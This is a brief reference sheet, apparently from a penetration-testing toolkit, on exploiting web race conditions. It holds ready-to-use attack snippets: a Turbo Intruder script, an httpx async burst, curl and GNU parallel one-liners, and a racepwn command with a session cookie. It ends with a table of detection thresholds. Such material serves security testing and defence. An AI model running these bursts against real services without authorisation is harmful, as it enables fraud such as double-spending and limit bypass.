<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting Race Conditions

## Turbo Intruder (Burp Suite Extension)
```python
# Single-packet attack script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

## httpx (Python — HTTP/2 async)
```python
import asyncio, httpx

async def exploit():
    async with httpx.AsyncClient(http2=True) as client:
        tasks = [client.post(URL, json=DATA) for _ in range(20)]
        responses = await asyncio.gather(*tasks)
```

## curl Parallel
```bash
# GNU parallel
seq 1 20 | parallel -j20 'curl -s -X POST URL -d DATA -o /dev/null -w "%{http_code}\n"'

# curl --parallel (HTTP/2)
curl --parallel --parallel-max 20 -X POST URL -d DATA URL -d DATA ...
```

## racepwn
```bash
racepwn -len 20 -url URL -method POST -body DATA -header "Cookie: session=X"
```

## Detection Indicators
| Signal | Threshold |
|--------|-----------|
| Identical POST burst | >5 requests/second same endpoint |
| HTTP/2 stream count | >10 concurrent streams single connection |
| Duplicate transaction | Same idempotency key processed >1 |
